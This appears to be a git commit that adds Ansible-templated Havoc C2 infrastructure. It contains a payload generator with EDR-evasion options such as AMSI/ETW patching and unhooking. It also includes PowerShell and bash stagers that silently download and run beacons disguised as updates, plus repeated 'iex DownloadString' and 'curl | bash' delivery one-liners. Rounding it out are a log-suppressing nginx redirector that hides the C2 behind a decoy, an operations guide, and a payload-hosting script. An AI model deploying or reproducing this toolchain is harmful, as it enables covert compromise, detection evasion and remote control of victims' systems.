Switching to Havoc C2

This commit is contained in:
n0mad1k
2025-04-21 16:57:37 -04:00
parent 30626a14bf
commit 9a0162e21f
8 changed files with 1355 additions and 106 deletions
+260
View File
@@ -0,0 +1,260 @@
#!/bin/bash
# EDR-evasive payload generator for Havoc C2
# Configuration (automatically populated by Ansible)
PAYLOADS_DIR="/root/Tools/havoc/payloads"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
TEAMSERVER_HOST="127.0.0.1"
TEAMSERVER_PORT="40056"
HAVOC_DIR="/root/Tools/havoc"
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
# Ensure required directories exist
mkdir -p $PAYLOADS_DIR/windows
mkdir -p $PAYLOADS_DIR/linux
mkdir -p $PAYLOADS_DIR/staged
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Define Havoc profiles for different payloads
generate_profiles() {
echo "[+] Generating Havoc C2 profiles..."
# Profile for Windows EXE
cat > $PAYLOADS_DIR/win_exe.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": 0,
"ExecutionMethod": 0,
"ExecuteOptions": 0
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
# Profile for Linux ELF
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"Injection": {
"SpawnMethod": 1,
"AllocationMethod": 1
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
echo "[+] Profiles created successfully"
}
# Generate Havoc payloads with CLI arguments
generate_payloads() {
echo "[+] Generating Havoc payloads..."
# Windows EXE
win_output="agent_win_$(random_string 8).exe"
echo "[+] Generating Windows payload: $win_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format exe \
--output "$PAYLOADS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Windows DLL
dll_output="module_$(random_string 8).dll"
echo "[+] Generating Windows DLL: $dll_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format dll \
--output "$PAYLOADS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Linux ELF
linux_output="agent_linux_$(random_string 8)"
echo "[+] Generating Linux payload: $linux_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/linux_elf.profile" \
--format elf \
--output "$PAYLOADS_DIR/linux/$linux_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload names for reference
echo "$win_output:$dll_output:$linux_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating stagers..."
# PowerShell stager
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
# PowerShell stager for Havoc C2
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
\$ErrorActionPreference = 'SilentlyContinue'
\$wc = New-Object System.Net.WebClient
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
try {
\$wc.DownloadFile(\$url, \$outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath \$outpath
} catch {
# Fail silently
}
EOF
# Bash stager
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
#!/bin/bash
# Linux download and execute Havoc beacon
# Download binary to /tmp with random name
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
chmod +x \$TMPFILE
# Execute in background
\$TMPFILE &
echo "Update complete."
EOF
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
echo "[+] Stagers generated successfully"
}
# Create manifest file
create_manifest() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"generated_date": "$(date)"
}
EOF
echo "[+] Manifest created successfully"
}
# Create reference file
create_reference() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
Payloads Generated ($(date)):
- Windows EXE: $win_output
- Windows DLL: $dll_output
- Linux Binary: $linux_output
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
Payload deployment:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
EOF
echo "[+] Reference file created successfully"
}
# Main execution flow
echo "[+] Starting Havoc C2 payload generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Create stagers directory
mkdir -p $PAYLOADS_DIR/stagers
# Generate profiles
generate_profiles
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest
create_manifest "$payload_info"
# Create reference
create_reference "$payload_info"
echo "[+] Havoc payload generation complete!"
+77
View File
@@ -0,0 +1,77 @@
HAVOC C2 OPERATIONS GUIDE
==========================
This guide provides information on using the Havoc C2 framework deployed on
your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Teamserver Port: 40056
Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl
CONNECTING TO THE TEAMSERVER
---------------------------
From your local machine, you should:
1. Make sure Havoc client is installed on your operator system
2. Connect to the Teamserver:
- Host: {{ c2_ip }}
- Port: 40056
- User: admin
- Password: See /opt/havoc/data/profiles/default.yaotl
Note: You can use the team server CLI with:
$ havoc-teamserver client --username admin --password Your_Password
LISTENERS
--------
Two default listeners are configured:
- HTTP on port 8080
- HTTPS on port 443 (through the redirector)
You can view and manage listeners through the Havoc client.
GENERATING PAYLOADS
-----------------
Pre-generated payloads are available in:
- /opt/havoc/payloads/
For new payloads:
1. Connect to the Teamserver using the Havoc client
2. Navigate to Attack → Payload
3. Choose your payload options and generate
PAYLOAD DELIVERY
--------------
Payloads can be delivered through:
- HTTP server at {{ c2_ip }}:8443
- Through the redirector at {{ redirector_domain }}
PowerShell one-liner:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
Linux one-liner:
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
OPERATIONAL SECURITY
------------------
- All connections go through the redirector
- Sleep times of agents are randomized (5s default with 30% jitter)
- Havoc is configured with numerous EDR evasion features
- Anti-forensics measures are enabled in all payloads
TROUBLESHOOTING
--------------
1. If agents can't connect:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check NGINX configuration on the redirector
- Ensure ports 8080 and 443 are open on respective servers
2. If Havoc Teamserver isn't responding:
- Check service status: systemctl status havoc
- View logs: journalctl -u havoc
- Restart if needed: systemctl restart havoc
3. Use the health command in Havoc client to check Teamserver health
+105
View File
@@ -0,0 +1,105 @@
server {
listen 80;
listen [::]:80;
server_name {{ redirector_domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Primary location for legitimate website traffic
location / {
try_files $uri $uri/ =404;
}
# Havoc C2 HTTP listener paths
location ~ ^/api/v[12]/ {
proxy_pass http://{{ c2_ip }}:8080;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Havoc C2 HTTPS listener paths
location ~ ^/(dashboard|content)/ {
proxy_pass https://{{ c2_ip }}:443;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_ssl_verify off;
}
# Payload stager paths
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Payload content paths
location ~ ^/content/(windows|linux)/(.+)$ {
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Disable logging for this server block if zero-logs is enabled
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block to respond to unknown hosts
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# Self-signed cert for catch-all
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
+134
View File
@@ -0,0 +1,134 @@
#!/bin/bash
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
# Configuration
PAYLOADS_DIR="/root/Tools/havoc/payloads"
C2_HOST="{{ ansible_host }}"
LISTEN_PORT=8443
# Check if manifest file exists (created by generate_havoc_payloads.sh)
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
# Extract payload paths from manifest
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
# Print payload info
echo "[+] Using these Havoc payloads:"
echo " - Windows EXE: $WIN_EXE"
echo " - Windows DLL: $WIN_DLL"
echo " - Linux Binary: $LINUX_BIN"
else
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
# Try to find payloads directly
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
exit 1
fi
# Extract just the filenames
WIN_EXE=$(basename "$WIN_EXE")
WIN_DLL=$(basename "$WIN_DLL")
LINUX_BIN=$(basename "$LINUX_BIN")
fi
# Create temporary directory for web server
TEMP_DIR=$(mktemp -d)
mkdir -p $TEMP_DIR/content/windows
mkdir -p $TEMP_DIR/content/linux
mkdir -p $TEMP_DIR/scripts
# Copy payloads to web directory
if [ -n "$WIN_EXE" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
echo "[+] Serving Windows EXE: $WIN_EXE"
fi
if [ -n "$WIN_DLL" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
echo "[+] Serving Windows DLL: $WIN_DLL"
fi
if [ -n "$LINUX_BIN" ]; then
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
echo "[+] Serving Linux Binary: $LINUX_BIN"
fi
# Copy stagers if they exist
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
echo "[+] Serving Windows PowerShell stager"
fi
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
echo "[+] Serving Linux bash stager"
fi
# Create helpful index page
cat > $TEMP_DIR/index.html << EOL
<!DOCTYPE html>
<html>
<head>
<title>Havoc C2 Payload Downloads</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
h1 { color: #333; }
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
.warning { color: #a00; font-weight: bold; }
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
</style>
</head>
<body>
<h1>Havoc C2 Payload Downloads</h1>
<div class="section">
<h2>Available Payloads</h2>
<ul>
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
</ul>
</div>
<div class="section">
<h2>Auto-Download Scripts</h2>
<ul>
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
</ul>
</div>
<div class="section">
<h2>Quick Commands</h2>
<p>Windows PowerShell:</p>
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
<p>Linux Bash:</p>
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
</div>
</body>
</html>
EOL
# Start Python HTTP server in background
cd $TEMP_DIR
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
SERVER_PID=$!
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
# Print useful information for the operator
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
echo "[+] Available payloads:"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
echo ""
echo "[+] Quick PowerShell download command:"
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
echo ""
echo "[+] Quick Linux download command:"
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"